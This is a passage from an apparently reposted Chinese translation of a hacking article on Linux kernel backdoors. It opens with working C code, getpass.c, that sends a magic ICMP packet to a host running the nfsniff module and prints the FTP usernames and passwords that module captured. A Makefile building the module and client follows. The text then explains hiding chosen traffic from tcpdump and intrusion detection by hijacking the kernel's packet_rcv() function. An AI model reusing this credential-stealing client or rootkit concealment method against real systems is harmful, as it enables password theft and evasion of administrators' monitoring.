*)(dgram + sizeof(struct ip));    struct sockaddr_in src;    struct sockaddr_in addr;    struct in_addr my_addr;    struct in_addr serv_addr;    socklen_t src_addr_size = sizeof(struct sockaddr_in);    int icmp_sock = 0;    int one = 1;    int *ptr_one = &one;        if (argc < 3) {    fprintf(stderr, "Usage:  %s remoteIP myIP/n", argv[0]);    exit(1);    }    /* Get a socket */    if ((icmp_sock = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) {    fprintf(stderr, "Couldn't open raw socket! %s/n",        strerror(errno));    exit(1);    }    /* set the HDR_INCL option on the socket */    if(setsockopt(icmp_sock, IPPROTO_IP, IP_HDRINCL,          ptr_one, sizeof(one)) < 0) {    close(icmp_sock);    fprintf(stderr, "Couldn't set HDRINCL option! %s/n",            strerror(errno));    exit(1);    }        addr.sin_family = AF_INET;    addr.sin_addr.s_addr = inet_addr(argv[1]);        my_addr.s_addr = inet_addr(argv[2]);        memset(dgram, 0x00, 256);    memset(recvbuff, 0x00, 256);        /* Fill in the IP fields first */    iphead->ip_hl  = 5;    iphead->ip_v   = 4;    iphead->ip_tos = 0;    iphead->ip_len = 84;    iphead->ip_id  = (unsigned short)rand();    iphead->ip_off = 0;    iphead->ip_ttl = 128;    iphead->ip_p   = IPPROTO_ICMP;    iphead->ip_sum = 0;    iphead->ip_src = my_addr;    iphead->ip_dst = addr.sin_addr;        /* Now fill in the ICMP fields */    icmphead->icmp_type = ICMP_ECHO;    icmphead->icmp_code = 0x5B;    icmphead->icmp_cksum = checksum(42, (unsigned short *)icmphead);        /* Finally, send the packet */    fprintf(stdout, "Sending request.../n");    if (sendto(icmp_sock, dgram, 84, 0, (struct sockaddr *)&addr,           sizeof(struct sockaddr)) < 0) {    fprintf(stderr, "/nFailed sending request! %s/n",        strerror(errno));    return 0;    }    fprintf(stdout, "Waiting for reply.../n");    if (recvfrom(icmp_sock, recvbuff, 256, 0, (struct sockaddr *)&src,         &src_addr_size) < 0) {    fprintf(stdout, "Failed getting reply packet! %s/n",        strerror(errno));    close(icmp_sock);    exit(1);    }        iphead = (struct ip *)recvbuff;    icmphead = (struct icmp *)(recvbuff + sizeof(struct ip));    memcpy(&serv_addr, ((char *)icmphead + 8),           sizeof (struct in_addr));        fprintf(stdout, "Stolen for ftp server %s:/n", inet_ntoa(serv_addr));    fprintf(stdout, "Username:    %s/n",         (char *)((char *)icmphead + 12));    fprintf(stdout, "Password:    %s/n",         (char *)((char *)icmphead + 28));        close(icmp_sock);        return 0;}/* Checksum-generation function. It appears that PING'ed machines don't* reply to PINGs with invalid (ie. empty) ICMP Checksum fields...* Fair enough I guess. */static unsigned short checksum(int numwords, unsigned short *buff){   unsigned long sum;      for(sum = 0;numwords > 0;numwords--)     sum += *buff++;   /* add next word, then increment pointer */      sum = (sum >> 16) + (sum & 0xFFFF);   sum += (sum >> 16);      return ~sum;}<-->    ** 译注:上述两个文件的Makefile:<++> nfsniff/Makefile#Makefile                                              #                                                                                                             CFLAGS=-Wall                                           LIBS=-L/usr/lib -lc# Change include directory for your kernel                                   MODULE_CFLAGS=-I/usr/src/custom/linux-2.4.18-3/include MODULE_CFLAGS+=$(CFLAGS)                               EXECUTE_CFLAGS=-ggdb                                   EXECUTE_CFLAGS+=$(CFLAGS)                                                                                     all : nfsniff.o getpass                                nfsniff.o : nfsniff.c                                          gcc -c nfsniff.c -o nfsniff~.o $(MODULE_CFLAGS)        ld -r -o nfsniff.o nfsniff~.o $(LIBS)          getpass.o : getpass.c                                          gcc -c getpass.c $(EXECUTE_CFLAGS)             getpass : getpass.o                                            gcc -o getpass getpass.o $(EXECUTE_CFLAGS)     clean :                                                        rm -f *.o getpass                              <-->    **译注完    --[ 6 - 在Libpcap中隐藏网络通信    这一节简短的描述,如何在修改Linux的内核,使与匹配预先定义的条件的网络通信对运行于本机的数据包嗅探工具不可见。列在本文最后的是可以正常运行的代码,它实现了隐藏所有来自或者是去往指定的IP地址的数据包的功能。好了,让我们开始...    ----[ 6.1 - SOCK_PACKET、SOCK_RAW与Libpcap    对系统管理员来说,最有用的软件莫过于哪些在广义分类下被称为“数据包嗅探器”的软件了。两个最典型的通用数据包嗅探器是tcpdump(1)以及ethereal(1)。这两个软件都利用了Libpcap库(随着参考文献[1]中的tcpdump发布)来抓取原始数据包。网络入侵检测系统(NIDS)也利用了Libpcap库。SNORT需要Libpcap,Libnids——一个提供IP重组和TCP流跟踪的NIDS开发库(参见参考文献[2]),也是如此。        在Linux系统下,Libpcap库使用SOCK_PACKET接口。Packet套接字是一种特殊的套接字,它可以用于发生和接收链路层的原始数据包。关于Paket套接字有很多话题,但是由于本节讨论的是关于如何隐藏它们而不是如何利用它们,感兴趣的读者可以直接去看packet(7)手册页。对于本文中的讨论,只需要理解packet套接字被Libpcap应用程序用于获取进入或者离开本地主机的原始数据包。        当核心网络堆栈收到一个数据包的时候,检查该数据包是否是某个packet套接字感兴趣的数据包。如果是,则将该数据递交给那些对其感兴趣的套接字。如果不是,该数据包继续它的旅程,进入TCP、UDP或者其它类型的套接字。对于SOCK_RAW类型的套接字同样如此。原始套接字很类似于packet套接字,只是原始套接字不提供链路层的包头。一个利用原始套接字的实用程序的例子是我的SYNalert程序,参见参考文献[3](请原谅我在这儿插入的题外话 :)。        到此,你应该已经了解了Linux下的数据包嗅探软件使用了Libpcap库。Libpcap在Linux下利用packet套接字接口来获取包含链路层包头的原始数据包。同时提到了原始套接字,它提供给用户空间的应用程序获取包含IP头的数据包的方法。下一节将讨论如何通过Linux核心模块来隐藏来自这些packet套接字以及原始套接字的网络通信。        ------[ 6.2 给狼披上羊皮    当收到数据包并将其送到一个packet套接字时,packet_rcv()函数被调用。这个函数可以在net/packet/af_packet.c中找到,packet_rcv()负责使数据包经过所有应用于目的套接字的套接字过滤器,并最终将其递交到用户空间。为了隐藏来自packet套接字的数据包,我们需要阻止所有特定数据包调用packet_rcv()函数。我们如何做到这一点?当然是优秀的ol式的函数劫持了。        函数劫持的基本操作是:如果我们知道一个内核函数,甚至是那些没有被导出的函数,的入口地址,我们可以在使实际的代码运行前将这个函数重定位到其他的位置。为了达到这样的目的,我们首先要从这个函数的开始,保存其原来的指令字节,然后将它们换成跳转到我们的代码处执行的绝对跳转指令。例如以i386汇编语言实现该操作如下:        movl  (address of our function),  

转载请注明原文地址: https://win8.8miu.com/read-22691.html

最新回复(0)